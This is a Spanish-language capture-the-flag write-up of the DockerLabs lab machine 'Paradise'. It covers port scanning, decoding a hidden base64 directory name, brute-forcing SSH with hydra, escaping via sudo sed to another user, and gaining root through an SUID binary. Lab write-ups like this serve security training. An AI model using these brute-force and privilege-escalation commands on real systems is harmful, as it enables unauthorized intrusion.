> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/dockerlabs/paradise.md).

# Paradise

✍️ Autor: kaikoperez🔍 Dificultad: Fácil  📅 Fecha de creación: 01/09/2024

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FEhYrFMrsspAx4abCVuga%2Fimage.png?alt=media&amp;token=ece3cdd3-3a35-4f81-a74d-d66d259ba148" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FbAgcdXcP2aTP8YQZN6D1%2Fimage.png?alt=media&amp;token=0ef9269f-3ed5-42e8-b2b3-611e3585f014" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más. También tenemos un servicio **SMB**.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 172.17.0.2
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FAQuvwoz3fNltEZAlC12w%2Fimage.png?alt=media&amp;token=02983f4e-70f2-4d7d-9dd7-a5b9850ba357" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web sea una página sobre el paraíso con dos botones sin funcionalidad.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fa29orqob5A2ZwVL9bTOg%2Fimage.png?alt=media&amp;token=94d9efef-091c-4407-a40c-292d3565bb46" alt=""><figcaption></figcaption></figure>

Si revisamos el código fuente de la página `galery.html` encontramos un troz codificado en **base64** por lo que vamos a decodificarlo.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FYG7xHweF30OPS1FR6yfg%2Fimage.png?alt=media&amp;token=2286b296-e4c1-4915-a038-904e0b0e8184" alt=""><figcaption></figcaption></figure>

```bash
echo "ZXN0b2VzdW5zZWNyZXRvCg==" | base64 -d
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FXMALe3Q9pmlZLXUKzaBs%2Fimage.png?alt=media&amp;token=00fca57f-3746-4eb0-994e-0f8491841805" alt=""><figcaption></figcaption></figure>

Suponemos que será un directorio por lo que vamos a ello.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fcw8HxMnFgXyBccM7LSdu%2Fimage.png?alt=media&amp;token=29e7f67a-076e-4e48-9b43-e80bf27583c3" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Encontramos un posible usuario llamado **lucas** por lo que realizamos fuerza bruta.

```bash
hydra -l lucas -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FesxRlAO7V3b3oYFG7R1L%2Fimage.png?alt=media&amp;token=5b444b85-5ac3-4504-a6e7-a36f7f537d03" alt=""><figcaption></figcaption></figure>

Tenemos sus credenciales por lo que nos logueamos a través de **SSH**.

```bash
ssh lucas@172.17.0.2
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FnGMQbeyuJvYclqtgZjeG%2Fimage.png?alt=media&amp;token=3e6b8a26-ff07-42d5-8487-8989cc25155b" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Ff7NnbfdyRjWzThm8FyIj%2Fimage.png?alt=media&amp;token=87d04f15-9fc5-45ec-a01e-7e30f94eb261" alt=""><figcaption></figcaption></figure>

Nos llama la atención **sed** por lo que buscamos en esta [página ](https://gtfobins.github.io/gtfobins/sed/)cómo explotarlo.

```bash
sudo -u andy /bin/sed -n '1e exec sh 1>&0' /etc/hosts
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FvApWq1S8pLn7MBGJFhbJ%2Fimage.png?alt=media&amp;token=a485c204-202a-41f4-8cf0-ddf0ce8f2dd0" alt=""><figcaption></figcaption></figure>

Ya somos el usuario **andy** pero no tenemos permisos **SUDO** por lo que buscamos los **SUID**.

```bash
find / -perm -4000 2>/dev/null
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FwlJOvv6c3OQrVyRHUREQ%2Fimage.png?alt=media&amp;token=44c47fdc-cc5c-4a83-a478-366b0e665d3b" alt=""><figcaption></figcaption></figure>

Nos llama la atención los dos últimas por lo que le echaremos un vistazo. Lo ejecutamos para ver que hace. Nos escala directamente a **root**.

```bash
/usr/local/bin/privileged_exec
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FxhKzDFv0nFzAVlObKrG8%2Fimage.png?alt=media&amp;token=b6659b43-0a10-4d4e-bda9-cd58ab9b3900" alt=""><figcaption></figcaption></figure>
